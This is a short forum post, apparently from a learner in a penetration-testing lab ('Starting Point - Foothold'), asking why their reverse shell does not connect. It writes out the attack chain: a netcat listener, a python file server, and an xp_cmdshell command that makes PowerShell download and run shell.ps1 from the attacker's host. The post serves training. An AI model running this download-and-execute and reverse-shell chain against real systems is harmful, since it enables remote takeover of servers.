Starting Point - Foothold

Hello. I am hoping someone can offer me guidance on completing the Foothold section of the starting point.

I am a little confused about the shell.ps1 script.

I copied the contents to a txt document and saved it as shell.ps1. After doing this I updated the IP address in the section: TCPClient(“”,443) to my local IP address.

I am able to start the python3 server and verified it is working by opening browser and typing in ipaddress:8080. I see the shell.ps1 file

After that I open a new terminal and type in: sudo nc -lvnp 443

All it says is: Listening on 443

I then go back to the SQL terminal and type in:
xp_cmdshell "powershell “IEX (New-Object Net.WebClient).DownloadString(“http://with my local IP address/shell.ps1”);”

nothing happens. PLEASE HELP!